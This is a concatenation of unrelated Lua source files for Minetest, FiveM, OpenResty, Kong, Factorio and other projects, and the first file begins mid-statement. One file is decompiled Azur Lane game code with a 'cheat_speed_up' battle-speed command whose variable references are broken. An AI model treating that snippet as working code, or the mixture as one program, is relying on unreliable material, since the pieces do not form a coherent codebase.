= minetest.get_content_id( 'moresnow:snow_outer_stair_top'); cid.c_msnow_8 = minetest.get_content_id( 'moresnow:snow_inner_stair_top'); cid.c_msnow_9 = minetest.get_content_id( 'moresnow:snow_ramp_top'); cid.c_msnow_10 = minetest.get_content_id( 'moresnow:snow_ramp_outer_top'); cid.c_msnow_11 = minetest.get_content_id( 'moresnow:snow_ramp_inner_top'); cid.c_msnow_soil=minetest.get_content_id( 'moresnow:snow_soil' ); --cid.c_plotmarker = minetest.get_content_id( 'mg_villages:plotmarker'); cid.c_plotmarker = minetest.get_content_id( 'air'); if( minetest.get_modpath('ethereal')) then cid.c_ethereal_clay_red = minetest.get_content_id( 'bakedclay:red' ); cid.c_ethereal_clay_orange = minetest.get_content_id( 'bakedclay:orange' ); end t1 = time_elapsed( t1, 'defines' ); local village_noise = minetest.get_perlin(7635, 3, 0.5, 16); -- determine which coordinates are inside the village and which are not local village_area = {}; for village_nr, village in ipairs(villages) do -- generate the village structure: determine positions of buildings and roads mg_villages.generate_village( village, village_noise); if( not( village.is_single_house )) then -- only add artificial snow if the village has at least a size of 15 (else it might look too artificial) if( not( village.artificial_snow ) and village.vs > 15) then if( mg_villages.artificial_snow_probability and math.random( 1, mg_villages.artificial_snow_probability )==1 and minetest.registered_nodes['default:snow']) then village.artificial_snow = 1; else village.artificial_snow = 0; end end -- will set village_area to N where .. is: -- 2: a building -- 3: border around a building -- 4: a road -- 5: border around a road mg_villages.village_area_mark_buildings( village_area, village_nr, village.to_add_data.bpos ); -- will set village_area to N where .. is: -- 8: a dirt road mg_villages.village_area_mark_dirt_roads( village_area, village_nr, village.to_add_data.dirt_roads ); else -- mark the terrain below single houses mg_villages.village_area_mark_buildings( village_area, village_nr, village.to_add_data.bpos ); end end t1 = time_elapsed( t1, 'generate_village, mark_buildings and mark_dirt_roads' ); local emin; local emax; -- if no voxelmanip data was passed on, read the data here if( not( vm ) or not( a) or not( data ) or not( param2_data ) ) then vm, emin, emax = minetest.get_mapgen_object("voxelmanip") if( not( vm )) then return; end a = VoxelArea:new{ MinEdge={x=emin.x, y=emin.y, z=emin.z}, MaxEdge={x=emax.x, y=emax.y, z=emax.z}, } data = vm:get_data() param2_data = vm:get_param2_data() end t1 = time_elapsed( t1, 'get_vmap_data' ); -- all vm manipulation functions write their content to the *entire* volume/area - including those 16 nodes that -- extend into neighbouring mapchunks; thus, cavegen griefing and mudflow can be repaired by placing everythiing again local tmin = emin; local tmax = emax; -- if set to true, cavegen eating through houses and mudflow on roofs will NOT be repaired if( not( mg_villages.UNDO_CAVEGEN_AND_MUDFLOW )) then tmin = minp; tmax = maxp; end -- will set village_area to N where .. is: -- 0: not part of any village -- 1: flattened area around the village; plants (wheat, cotton, trees, grass, ...) may be planted here -- 6: free/unused spot in the core area of the village where the buildings are -- negative value: do terrain blending mg_villages.village_area_mark_inside_village_area( village_area, villages, village_noise, tmin, tmax ); t1 = time_elapsed( t1, 'mark_inside_village_area' ); -- determine optimal height for all villages that have their center in this mapchunk; sets village.optimal_height t1 = time_elapsed( t1, 'get_height' ); mg_villages.village_area_get_height( village_area, villages, tmin, tmax, data, param2_data, a, cid ); -- the villages in the first mapchunk are set to a fixed height of 1 so that players will not end up embedded in stone if( not( mg_villages.all_villages ) or mg_villages.anz_villages < 1 ) then villages[1].optimal_height = 1; end -- change height of those villages where an optimal_height could be determined local village_data_updated = false; for _,village in ipairs(villages) do if( village.optimal_height and village.optimal_height > 0 and village.optimal_height ~= village.vh ) then -- towers are usually found on elevated places if( village.village_type == 'tower' ) then village.optimal_height = village.optimal_height + math.max( math.floor(village.vs/2), 2 ); end mg_villages.change_village_height( village, village.optimal_height ); village_data_updated = true; end end t1 = time_elapsed( t1, 'change_height' ); mg_villages.flatten_village_area( villages, minp, maxp, vm, data, param2_data, a, village_area, cid ); t1 = time_elapsed( t1, 'flatten_village_area' ); -- repair cavegen griefings and mudflow which may have happened in the outer shell (which is part of other mapnodes) mg_villages.repair_outer_shell( villages, tmin, tmax, vm, data, param2_data, a, village_area, cid ); t1 = time_elapsed( t1, 'repair_outer_shell' ); local c_feldweg = minetest.get_content_id('cottages:feldweg'); if( not( c_feldweg )) then c_feldweg = minetest.get_content_id('mcl_core:cobble'); end for _, village in ipairs(villages) do -- the village_id will be stored in the plot markers local village_id = tostring( village.vx )..':'..tostring( village.vz ); village.to_add_data = mg_villages.place_buildings( village, tmin, tmax, data, param2_data, a, cid, village_id); mg_villages.place_dirt_roads( village, tmin, tmax, data, param2_data, a, c_feldweg); -- grow trees which are part of buildings into saplings for _,v in ipairs( village.to_add_data.extra_calls.trees ) do mg_villages.grow_a_tree( v, v.typ, minp, maxp, data, a, cid, nil, v.snow ); -- TODO: supply pseudorandom value? end end t1 = time_elapsed( t1, 'place_buildings and place_dirt_roads' ); -- TODO: uses the wrong nodes for some reason, so disable for now... -- mg_villages.village_area_fill_with_plants( village_area, villages, tmin, tmax, data, param2_data, a, cid ); t1 = time_elapsed( t1, 'fill_with_plants' ); vm:set_data(data) vm:set_param2_data(param2_data) t1 = time_elapsed( t1, 'vm data set' ); vm:calc_lighting( {x=minp.x-16, y=minp.y, z=minp.z-16}, {x=maxp.x+16, y=maxp.y, z=maxp.z+16} ) t1 = time_elapsed( t1, 'vm calc lighting' ); vm:write_to_map(data) t1 = time_elapsed( t1, 'vm data written' ); vm:update_liquids() t1 = time_elapsed( t1, 'vm update liquids' ); -- do on_construct calls AFTER the map data has been written - else i.e. realtest fences can not update themshevles for _, village in ipairs(villages) do for k, v in pairs( village.to_add_data.extra_calls.on_constr ) do local node_name = minetest.get_name_from_content_id( k ); if( minetest.registered_nodes[ node_name ].on_construct ) then for _, pos in ipairs(v) do minetest.registered_nodes[ node_name ].on_construct( pos ); end end end end local pr = PseudoRandom(mg_villages.get_bseed(minp)); for _, village in ipairs(villages) do for _,v in ipairs( village.to_add_data.extra_calls.chests ) do local building_nr = village.to_add_data.bpos[ v.bpos_i ]; local building_typ = mg_villages.BUILDINGS[ building_nr.btype ].scm; mg_villages.fill_chest_random( v, pr, building_nr, building_typ ); end end -- TODO: extra_calls.signs -- initialize the pseudo random generator so that the chests will be filled in a reproducable pattern local meta for _, village in ipairs(villages) do -- now add those buildings which are .mts files and need to be placed by minetest.place_schematic(...) -- place_schematics is no longer needed --mg_villages.place_schematics( village.to_add_data.bpos, village.to_add_data.replacements, a, pr ); --t1 = time_elapsed( t1, 'place_schematics' ); if( not( mg_villages.all_villages )) then mg_villages.all_villages = {}; end -- unique id - there can only be one village at a given pair of x,z coordinates local village_id = tostring( village.vx )..':'..tostring( village.vz ); -- the village data is saved only once per village - and not whenever part of the village is generated if( not( mg_villages.all_villages[ village_id ])) then -- count how many villages we already have and assign each village a uniq number local count = 1; for _,v in pairs( mg_villages.all_villages ) do count = count + 1; end village.extra_calls = {}; -- do not save these values village.nr = count; mg_villages.anz_villages = count; mg_villages.all_villages[ village_id ] = minetest.deserialize( minetest.serialize( village )); mg_villages.print( mg_villages.DEBUG_LEVEL_NORMAL, "Village No. "..tostring( count ).." of type \'".. tostring( village.village_type ).."\' of size "..tostring( village.vs ).. " spawned at: x = "..village.vx..", z = "..village.vz) village_data_updated = true; end end -- always save the changed village data t1 = time_elapsed( t1, 'update village data' ); mg_villages.save_data(); t1 = time_elapsed( t1, 'save village data' ); end -- the actual mapgen -- It only does changes if there is at least one village in the area that is to be generated. minetest.register_on_generated(function(minp, maxp, seed) -- only generate village on the surface chunks if( minp.y ~= -32 or minp.y < -32 or minp.y > 264) then --was 64 return; end -- this function has to be called ONCE and AFTER all village types and buildings have been added -- (which might have been done by other mods so we can't do this earlier) if( not( mg_villages.village_types )) then mg_villages.init_weights(); end local villages = {}; -- create normal villages if( mg_villages.ENABLE_VILLAGES == true ) then villages = mg_villages.villages_in_mapchunk( minp, maxp.x-minp.x+1 ); end -- if this mapchunk contains no part of a village, probably a lone building may be found in it if( mg_villages.INVERSE_HOUSE_DENSITY > 0 ) then villages = mg_villages.houses_in_mapchunk( minp, maxp.x-minp.x+1, villages ); end -- check if the village exists already local v_nr = 1; for v_nr, village in ipairs(villages) do local village_id = tostring( village.vx )..':'..tostring( village.vz ); if( not( village.name ) or village.name == '') then village.name = 'unknown'; end if( mg_villages.all_villages and mg_villages.all_villages[ village_id ]) then villages[ v_nr ] = mg_villages.all_villages[ village_id ]; end end if( villages and #villages > 0 ) then mg_villages.place_villages_via_voxelmanip( villages, minp, maxp, nil, nil, nil, nil, nil ); end end)
local test = {} test.start = function () return 0 end return test
H = {} Uniq = {} function Uniq:init() local ld = {} self.prefixes = {} self.state = {} self.set = function(k, v) local p = { [k] = v } self.prefixes = p end setmetatable(ld, Uniq) return self end function Uniq:insert_prefix(prefix, item) local p = self.prefixes[prefix] if p == nil then error("Cannot push to nil value", 1) end local l = self.state[prefix] self.prefixes[prefix][l] = item table.insert(self.prefixes[prefix], l + 1, item) self.state[prefix] = l + 1 return item end function Uniq:get_id(prefix) self.prefixes[prefix] = {} if self.state[prefix] == nil then self.state[prefix] = 1 end --self.prefixes[prefix] local a = self:insert_prefix(prefix, prefix .. self.state[prefix] .. "_" .. RandomString(6)) return a end H.uniq = Uniq H.nest = function(k, v) local arr = {} arr[k] = v return arr end -- test function TestUniq() local u = Uniq:init() local p = u:get_id("apple") local p1 = u:get_id("apple") local id = u:get_id("padding") local id1 = u:get_id("padding") assert(id1 ~= id) assert(p1 ~= p) end local u = Uniq:init() H.uniq = {} H.uniq.get_id = function(a) return u:get_id(a) end H.uniq.get_key = function(tab) -- assert(tab) -- print("nex", next(tab), tab, #pt) local k, _ = next(tab) return k -- return get_key_set(tab)[1] end H.uniq.get_key_set = function(tab) local keyset = {} for n, k in pairs(tab) do keyset[n] = H.uniq.get_key(k) end return keyset end return H
-- @Date : 2016-02-01 10:31:04 -- @Author : Miao Lian (miaolian19890421@163.com) -- @Version : 1.0 -- @Description : -- local a = require("application.lib.sim_test_lib") local test_act = {} function test_act:test() local uri = self.request.uri local args = self.request:getParams() local res = { code = 1, data = "hello word!", message = "sucess" } --ngx.say(self.request.uri) -- self.response:send_json_ok(res) local string_a = self.view:render("index.html",{ title = "Testing lua-resty-template", message = "Hello, World!", names = { "James", "Jack", "Anne" }, jquery = '<script src="js/jquery.min.js"></script>' }) self.response:send_html_ok(string_a) end return test_act
-- local M = {} local im = imgui local keyListener = { editor = true, game = false, coding = false } local keyListenerBak = table.clone(keyListener) function M.setKeyEventEnabled(name, b) if name == true then for k, _ in pairs(keyListener) do keyListener[k] = true end elseif name == false then for k, _ in pairs(keyListener) do keyListener[k] = false end else keyListener[name] = b and true or false end end function M.backupKeyEvent() keyListenerBak = table.clone(keyListener) end function M.restoreKeyEvent() keyListener = table.clone(keyListenerBak) end local keyEditor local keyGame function M._handleGlobalKeyboard() local xe = require('xe.main') keyEditor = keyEditor or require('xe.win.SceneEditor').KeyEvent keyGame = keyGame or require('xe.win.GameView').KeyEvent for k, enabled in pairs(keyListener) do if enabled then if k == 'editor' then local tool = require('xe.ToolMgr') local toolbar = xe.getToolBar() for _, v in ipairs(keyEditor) do if toolbar:isEnabled(v[3]) and im.checkKeyboard(v[1], v[2]) then tool[v[3]]() break end end elseif k == 'game' then local game = xe.getGameView() if game:isVisible() then for _, v in ipairs(keyGame) do if game:isEnabled(v[3]) and im.checkKeyboard(v[1], v[2]) then game['_' .. v[3]](game) break end end end else -- end end end end return M
local Tunnel = module("vrp","lib/Tunnel") local Proxy = module("vrp","lib/Proxy") vRPbs = {} Tunnel.bindInterface("vrp_barbershop",vRPbs) Proxy.addInterface("vrp_barbershop",vRPbs) function f(n) n = n + 0.00000 return n end default_overlay = { ["-1"] = { 0,0 }, ["9"] = { 18,0 }, ["7"] = { 11,0 }, ["8"] = { 10,0 }, ["10"] = { 17,0 }, ["11"] = { 12,0 }, ["12"] = { 38,0 }, ["13"] = { 18,0 }, ["6"] = { 12,0 }, ["5"] = { 33,0 }, ["4"] = { 72,0 }, ["3"] = { 15,0 }, ["2"] = { 34,0 }, ["1"] = { 29,0 }, ["0"] = { 24,0 }, ["-2"] = { 32,0 } } local canStartTread = false local currentCharacterMode = { fathersID = 0, mothersID = 0, skinColor = 0, shapeMix = 0.0, eyesColor = 0, eyebrowsHeight = 0, eyebrowsWidth = 0, noseWidth = 0, noseHeight = 0, noseLength = 0, noseBridge = 0, noseTip = 0, noseShift = 0, cheekboneHeight = 0, cheekboneWidth = 0, cheeksWidth = 0, lips = 0, jawWidth = 0, jawHeight = 0, chinLength = 0, chinPosition = 0, chinWidth = 0, chinShape = 0, neckWidth = 0, hairModel = 4, firstHairColor = 0, secondHairColor = 0, eyebrowsModel = 0, eyebrowsColor = 0, beardModel = -1, beardColor = 0, chestModel = -1, chestColor = 0, blushModel = -1, blushColor = 0, lipstickModel = -1, lipstickColor = 0, blemishesModel = -1, ageingModel = -1, complexionModel = -1, sundamageModel = -1, frecklesModel = -1, makeupModel = -1 } custom = currentCharacterMode function vRPbs.setCharacter(data) if data then custom = data canStartTread = true end end function vRPbs.getCharacter() return custom end function vRPbs.setOverlay(data) if data then custom.blemishesModel = data["0"][1] custom.frecklesModel = data["9"][1] custom.lipstickModel = data["8"][1] custom.lipstickColor = data["8"][2] custom.chestModel = data["10"][1] custom.chestColor = data["10"][2] custom.hairModel = data["12"][1] custom.firstHairColor = data["12"][2] custom.secondHairColor = data["13"][2] custom.complexionModel = data["6"][1] custom.blushModel = data["5"][1] custom.blushColor = data["5"][2] custom.makeupModel = data["4"][1] custom.ageingModel = data["3"][1] custom.eyebrowsModel = data["2"][1] custom.eyebrowsColor = data["2"][2] custom.beardModel = data["1"][1] custom.beardColor = data["1"][2] end end function vRPbs.resetOverlay() custom.blemishesModel = currentCharacterMode.blemishesModel custom.frecklesModel = currentCharacterMode.frecklesModel custom.lipstickModel = currentCharacterMode.lipstickModel custom.lipstickColor = currentCharacterMode.lipstickColor custom.chestModel = currentCharacterMode.chestModel custom.chestColor = currentCharacterMode.chestColor custom.hairModel = currentCharacterMode.hairModel custom.firstHairColor = currentCharacterMode.firstHairColor custom.secondHairColor = currentCharacterMode.secondHairColor custom.complexionModel = currentCharacterMode.complexionModel custom.blushModel = currentCharacterMode.blushModel custom.blushColor = currentCharacterMode.blushColor custom.makeupModel = currentCharacterMode.makeupModel custom.ageingModel = currentCharacterMode.ageingModel custom.eyebrowsModel = currentCharacterMode.eyebrowsModel custom.eyebrowsColor = currentCharacterMode.eyebrowsColor custom.beardModel = currentCharacterMode.beardModel custom.beardColor = currentCharacterMode.beardColor end function vRPbs.getOverlay() local overlay = { ["0"] = { custom.blemishesModel,0 }, ["9"] = { custom.frecklesModel,0 }, ["8"] = { custom.lipstickModel,custom.lipstickColor }, ["10"] = { custom.chestModel,custom.chestColor }, ["12"] = { custom.hairModel,custom.firstHairColor }, ["13"] = { custom.hairModel,custom.secondHairColor }, ["6"] = { custom.complexionModel,0 }, ["5"] = { custom.blushModel,custom.blushColor }, ["4"] = { custom.makeupModel,0 }, ["3"] = { custom.ageingModel,0 }, ["2"] = { custom.eyebrowsModel,custom.eyebrowsColor }, ["1"] = { custom.beardModel,custom.beardColor } } return overlay end function vRPbs.getDrawables(part) if part == 12 then return tonumber(GetNumberOfPedDrawableVariations(PlayerPedId(),2)) elseif part == -1 then return tonumber(GetNumberOfPedDrawableVariations(PlayerPedId(),0)) elseif part == -2 then return 64 else return tonumber(GetNumHeadOverlayValues(part)) end end function vRPbs.getTextures(part) if part == -1 then return tonumber(GetNumHairColors()) else return 64 end end Citizen.CreateThread(function() while true do Citizen.Wait(1000) if canStartTread then while not IsPedModel(PlayerPedId(),"mp_m_freemode_01") and not IsPedModel(PlayerPedId(),"mp_f_freemode_01") do Citizen.Wait(10) end if custom then TaskUpdateSkinOptions() TaskUpdateFaceOptions() TaskUpdateHeadOptions() end end end end) function TaskUpdateSkinOptions() local data = custom SetPedHeadBlendData(PlayerPedId(),data.fathersID,data.mothersID,0,data.skinColor,0,0,f(data.shapeMix),0,0,false) end function TaskUpdateFaceOptions() local ped = PlayerPedId() local data = custom -- Olhos SetPedEyeColor(ped,data.eyesColor) -- Sobrancelha SetPedFaceFeature(ped,6,data.eyebrowsHeight) SetPedFaceFeature(ped,7,data.eyebrowsWidth) -- Nariz SetPedFaceFeature(ped,0,data.noseWidth) SetPedFaceFeature(ped,1,data.noseHeight) SetPedFaceFeature(ped,2,data.noseLength) SetPedFaceFeature(ped,3,data.noseBridge) SetPedFaceFeature(ped,4,data.noseTip) SetPedFaceFeature(ped,5,data.noseShift) -- Bochechas SetPedFaceFeature(ped,8,data.cheekboneHeight) SetPedFaceFeature(ped,9,data.cheekboneWidth) SetPedFaceFeature(ped,10,data.cheeksWidth) -- Boca/Mandibula SetPedFaceFeature(ped,12,data.lips) SetPedFaceFeature(ped,13,data.jawWidth) SetPedFaceFeature(ped,14,data.jawHeight) -- Queixo SetPedFaceFeature(ped,15,data.chinLength) SetPedFaceFeature(ped,16,data.chinPosition) SetPedFaceFeature(ped,17,data.chinWidth) SetPedFaceFeature(ped,18,data.chinShape) -- Pescoรงo SetPedFaceFeature(ped,19,data.neckWidth) end function TaskUpdateHeadOptions() local ped = PlayerPedId() local data = custom -- Cabelo SetPedComponentVariation(ped,2,data.hairModel,0,0) SetPedHairColor(ped,data.firstHairColor,data.secondHairColor) -- Sobrancelha SetPedHeadOverlay(ped,2,data.eyebrowsModel, 0.99) SetPedHeadOverlayColor(ped,2,1,data.eyebrowsColor,data.eyebrowsColor) -- Barba SetPedHeadOverlay(ped,1,data.beardModel,0.99) SetPedHeadOverlayColor(ped,1,1,data.beardColor,data.beardColor) -- Pelo Corporal SetPedHeadOverlay(ped,10,data.chestModel,0.99) SetPedHeadOverlayColor(ped,10,1,data.chestColor,data.chestColor) -- Blush SetPedHeadOverlay(ped,5,data.blushModel,0.99) SetPedHeadOverlayColor(ped,5,2,data.blushColor,data.blushColor) -- Battom SetPedHeadOverlay(ped,8,data.lipstickModel,0.99) SetPedHeadOverlayColor(ped,8,2,data.lipstickColor,data.lipstickColor) -- Manchas SetPedHeadOverlay(ped,0,data.blemishesModel,0.99) SetPedHeadOverlayColor(ped,0,0,0,0) -- Envelhecimento SetPedHeadOverlay(ped,3,data.ageingModel,0.99) SetPedHeadOverlayColor(ped,3,0,0,0) -- Aspecto SetPedHeadOverlay(ped,6,data.complexionModel,0.99) SetPedHeadOverlayColor(ped,6,0,0,0) -- Pele SetPedHeadOverlay(ped,7,data.sundamageModel,0.99) SetPedHeadOverlayColor(ped,7,0,0,0) -- Sardas SetPedHeadOverlay(ped,9,data.frecklesModel,0.99) SetPedHeadOverlayColor(ped,9,0,0,0) -- Maquiagem SetPedHeadOverlay(ped,4,data.makeupModel,0.99) SetPedHeadOverlayColor(ped,4,0,0,0) end
local ShakeDetector = { count = 0 } local lastX, lastY, lastZ, timer, lastTime, threshold, timeout = 0, 0, 0, 0, 0, 0.5, 0.25 function ShakeDetector:reset(th, to) threshold, timeout = th or 0.5, to or 0.25 end function ShakeDetector:update(dt, x, y, z) timer = timer + dt if lastX == 0 and lastY == 0 and lastZ == 0 then lastX, lastY, lastZ = x, y, z end local dx, dy, dz = math.abs(lastX - x), math.abs(lastY - y), math.abs(lastZ - z) if dx > threshold and dy > threshold or dx > threshold and dz > threshold or dy > threshold and dz > threshold then if timer - lastTime > timeout then lastTime = timer self.count = self.count + 1 end end lastX, lastY, lastZ = x, y, z end return ShakeDetector
ys = ys or {} ys.Battle.BattleControllerCommand = class("BattleControllerCommand", ys.MVC.Command) ys.Battle.BattleControllerCommand.__name = "BattleControllerCommand" ys.Battle.BattleControllerCommand.Ctor = function (slot0) slot0.Battle.BattleControllerCommand.super.Ctor(slot0) end ys.Battle.BattleControllerCommand.Initialize = function (slot0) slot0.Battle.BattleControllerCommand.super.Initialize(slot0) slot0._dataProxy = slot0._state:GetProxyByName(slot0.Battle.BattleDataProxy.__name) slot0:InitBattleEvent() end ys.Battle.BattleControllerCommand.InitBattleEvent = function (slot0) return end ys.Battle.BattleControllerCommand.addSpeed = function (slot0) slot0.Battle.BattleConfig.BASIC_TIME_SCALE = slot0.Battle.BattleConfig.BASIC_TIME_SCALE * slot0 slot0.Battle.BattleVariable.AppendIFFFactor(slot0.Battle.BattleConfig.FOE_CODE, "cheat_speed_up_" .. slot0.Battle.BattleConfig.BASIC_TIME_SCALE, slot0) slot0.Battle.BattleVariable.AppendIFFFactor(slot0.Battle.BattleConfig.FRIENDLY_CODE, "cheat_speed_up_" .. slot0.Battle.BattleConfig.BASIC_TIME_SCALE, slot0) end ys.Battle.BattleControllerCommand.removeSpeed = function (slot0) slot0.Battle.BattleVariable.RemoveIFFFactor(slot0.Battle.BattleConfig.FOE_CODE, "cheat_speed_up_" .. slot0.Battle.BattleConfig.BASIC_TIME_SCALE) slot0.Battle.BattleVariable.RemoveIFFFactor(slot0.Battle.BattleConfig.FRIENDLY_CODE, "cheat_speed_up_" .. slot0.Battle.BattleConfig.BASIC_TIME_SCALE) slot0.Battle.BattleConfig.BASIC_TIME_SCALE = slot0.Battle.BattleConfig.BASIC_TIME_SCALE * slot0 end ys.Battle.BattleControllerCommand.scaleTime = function (slot0) pg.TipsMgr.GetInstance():ShowTips("โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”“") pg.TipsMgr.GetInstance():ShowTips("โ”ƒใƒฝ(โ€ขฬ€ฯ‰โ€ขฬ )ใ‚ๅ—‘่ฏ X" .. slot0.Battle.BattleConfig.BASIC_TIME_SCALE .. " ๏ผ(เธ‡ โ€ขฬ€_โ€ขฬ)เธ‡โ”ƒ") pg.TipsMgr.GetInstance():ShowTips("โ”—โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”›") slot0._state:ScaleTimer() end return
H.keymap('n', '<leader>gb', '<cmd>GitBlameToggle<cr>')
local pl_string = require "pl.stringx" local utils = require "kong.tools.utils" local cjson = require "cjson" local type = type local pairs = pairs local remove = table.remove local _M = {} -- Parses a form value, handling multipart/data values -- @param `v` The value object -- @return The parsed value local function parse_value(v) return type(v) == "table" and v.content or v -- Handle multipart end -- Put nested keys in objects: -- Normalize dotted keys in objects. -- Example: {["key.value.sub"]=1234} becomes {key = {value = {sub=1234}} -- @param `obj` Object to normalize -- @return `normalized_object` function _M.normalize_nested_params(obj) local new_obj = {} local function attach_dotted_key(keys, attach_to, value) local current_key = keys[1] if #keys > 1 then if not attach_to[current_key] then attach_to[current_key] = {} end remove(keys, 1) attach_dotted_key(keys, attach_to[current_key], value) else attach_to[current_key] = value end end for k, v in pairs(obj) do if type(v) == "table" then -- normalize arrays since Lapis parses ?key[1]=foo as {["1"]="foo"} instead of {"foo"} if utils.is_array(v) then local arr = {} for _, arr_v in pairs(v) do arr[#arr+1] = arr_v end v = arr else v = _M.normalize_nested_params(v) -- recursive call on other table values end end -- normalize sub-keys with dot notation if type(k) == "string" then local keys = pl_string.split(k, ".") if #keys > 1 then -- we have a key containing a dot attach_dotted_key(keys, new_obj, parse_value(v)) else new_obj[k] = parse_value(v) -- nothing special with that key, simply attaching the value end else new_obj[k] = parse_value(v) -- nothing special with that key, simply attaching the value end end return new_obj end -- Remove functions from a schema definition so that -- cjson can encode the schema. local schema_to_jsonable do local insert = table.insert local ipairs = ipairs local next = next local fdata_to_jsonable local function fields_to_jsonable(fields) local out = {} for _, field in ipairs(fields) do local fname = next(field) local fdata = field[fname] insert(out, { [fname] = fdata_to_jsonable(fdata, "no") }) end setmetatable(out, cjson.array_mt) return out end -- Convert field data from schemas into something that can be -- passed to a JSON encoder. -- @tparam table fdata A Lua table with field data -- @tparam string is_array A three-state enum: "yes", "no" or "maybe" -- @treturn table A JSON-convertible Lua table fdata_to_jsonable = function(fdata, is_array) local out = {} local iter = is_array == "yes" and ipairs or pairs for k, v in iter(fdata) do if is_array == "maybe" and type(k) ~= "number" then is_array = "no" end if k == "schema" then out[k] = schema_to_jsonable(v) elseif type(v) == "table" then if k == "fields" and fdata.type == "record" then out[k] = fields_to_jsonable(v) elseif k == "default" and fdata.type == "array" then out[k] = fdata_to_jsonable(v, "yes") else out[k] = fdata_to_jsonable(v, "maybe") end elseif type(v) == "number" then if v ~= v then out[k] = "nan" elseif v == math.huge then out[k] = "inf" elseif v == -math.huge then out[k] = "-inf" else out[k] = v end elseif type(v) ~= "function" then out[k] = v end end if is_array == "yes" or is_array == "maybe" then setmetatable(out, cjson.array_mt) end return out end schema_to_jsonable = function(schema) local fields = fields_to_jsonable(schema.fields) return { fields = fields } end _M.schema_to_jsonable = schema_to_jsonable end return _M
return { UniqueId = "color", Name = "Default Color Editor", Description = "The color editor included with PropertiesMod", Attribution = "", Filters = {"Special:Color"}, EntryPoint = "color", }
require("util") local GG = require('common') ------------------------------------------------------------------------------------ -- In this file, the base character will be overwritten with the newly created one -- unless another mod that allows to use both characters is active. ------------------------------------------------------------------------------------ local CHAR_NAME = GG.char_name ------------------------------------------------------------------------------------ -- List of mods that support multiple characters in a game and the number of the -- earliest version of that mod where this is supported. ------------------------------------------------------------------------------------ local mod_list = { -- Not yet available on the modportal! ["CharSelect"] = "0.18.1", -- Available and known to work ["minime"] = "0.0.14", -- Current version (0.0.3) still depends on Gear Girl replacing the default -- character -- I hope this will be fixed in 0.0.4! ["RitnCharacters"] = "0.0.4", } GG.dwrite("mod_list: " .. serpent.block(mod_list)) -- Add any mod that may have registered itself to list. for mod, version in pairs(GEAR_GIRL_keep_default_character) do -- Sanity check: modname must be a string! if type(mod) ~= "string" then log(string.format("%s is not a valid mod -- ignoring mod \"%s\"!", version, mod)) -- Sanity check: version must be a string and have the correct format! elseif type(version) ~= "string" or not string.match(version, "^%d+%.%d+%.%d+$") then log(string.format("%s is not a valid version number -- ignoring mod \"%s\"!", version, mod)) -- Everything seems to be OK, add this to the list! else log(string.format("Adding \"%s\" (%s) to mod list!", mod, version)) mod_list[mod] = version end end GG.dwrite("new mod_list: " .. serpent.block(mod_list)) ------------------------------------------------------------------------------------ -- Check that mod exists in a version that supports using multiple characters ------------------------------------------------------------------------------------ -- name: Name of the mod to check for -- needed: We need this or a later version of the mod! -- Return: boolean local function check_version(name, needed) if not (name and type(name) == "string") then error(tostring(name) .. " is not a valid mod name!") elseif not (needed and type(needed) == "string") then error(tostring(needed) .. " is not a valid version number (string value required)!") end local found = mods[name] local ret -- Mod is active if found then GG.dwrite(string.format("Checking mod \"%s\": Found version %s, require version %s", name, found, needed)) local version = util.split(found, '.') needed = util.split(needed, '.') for i = 1, 3 do version[i] = tonumber(version[i]) needed[i] = tonumber(needed[i]) end -- Version number: {major, minor, subversion} -- Major number may not be smaller than needed if version[1] < needed[1] then GG.dwrite(string.format("Major number is too small: %g < %g", version[1], needed[1])) ret = false -- Major number is greater: Hit! elseif version[1] > needed[1] then GG.dwrite(string.format("Major number is greater: %g > %g", version[1], needed[1])) ret = true -- Major number is same, minor number is greater: Hit! elseif version[2] > needed[2] then GG.dwrite(string.format("Minor number is greater: %g > %g", version[2], needed[2])) ret = true -- Major number is same, minor number is same, subversion number is same or greater: Hit! elseif version[2] == needed[2] and version[3] >= needed[3] then GG.dwrite(string.format("Least number is greater or equal: %g >= %g", version[3], needed[3])) ret = true -- Version is smaller than required else GG.dwrite(string.format("Least number is too small: %g < %g", version[3], needed[3])) ret = false end -- Mod isn't active else GG.dwrite(string.format("Mod \"%s\" is not active!", name)) ret = false end return ret end ------------------------------------------------------------------------------------ -- If any mod is found that supports multiple characters in a game, -- this will be false. ------------------------------------------------------------------------------------ local replace_base_char = true ------------------------------------------------------------------------------------ -- Check each mod in mod_list if it exists and has the required version. ------------------------------------------------------------------------------------ for name, version in pairs(mod_list) do if check_version(name, version) then GG.dwrite(string.format("\"%s\" is active! Won't overwrite vanilla character and corpse.", name)) replace_base_char = false break end end -- This game doesn't support multiple characters -- overwrite the base character! local char = data.raw["character"] local corpse = data.raw["character-corpse"] local base_name, name, c for e, entities in ipairs({char, corpse}) do if entities == char then base_name = "character" name = CHAR_NAME c = true else base_name = "character-corpse" name = CHAR_NAME .. "-corpse" c = false end -- Overwrite base character/corpse -- ("character-corpse" is already set as new character_corpse, so there's nothing to do!) if replace_base_char then GG.dwrite(string.format("Stand-alone mode: Overwriting vanilla \"%s\" with \"%s\"", entities[name].type, name)) entities[base_name] = entities[name] entities[base_name].name = base_name entities[name] = nil -- Keep base character/corpse else GG.dwrite(string.format("Keeping both vanilla \"%s\" and \"%s\"!", entities[name].type, name)) -- Localise new character/corpse entities[name].localised_name = {"entity-name." .. name} entities[name].localised_description = {"entity-description." .. name} GG.dwrite(string.format("Added localization for \"%s\"!", name)) -- Make sure the Gear Girl won't have the default character's corpse! if c then entities[name].character_corpse = name .. "-corpse" GG.dwrite(string.format("Activated new corpse for \"%s\": \"%s\"!", name, entities[name].character_corpse)) end end end
Config = {} Config.Jobs = { ['police'] = vector3(448.4, -973.2, 30.6), ['ambulance'] = vector3(270.5, -1363.0, 23.5), ['realestate'] = vector3(-124.786, -641.486, 167.820), ['taxi'] = vector3(903.32, -170.55, 74.0), ['cardealer'] = vector3(-32.0, -1114.2, 25.4), ['mechanic'] = vector3(-342.291, -133.370, 39.009) }
data:extend( { { type = "item-group", name = "merged-chests", order = "wide-chests", icon = "__base__/graphics/item-group/logistics.png", icon_size = 64, }, { type = "item-subgroup", name = "wide-chests", group = "merged-chests", order = "a", }, { type = "item-subgroup", name = "high-chests", group = "merged-chests", order = "b", }, { type = "item-subgroup", name = "warehouse", group = "merged-chests", order = "c", }, { type = "item-subgroup", name = "trashdump", group = "merged-chests", order = "d", }, })
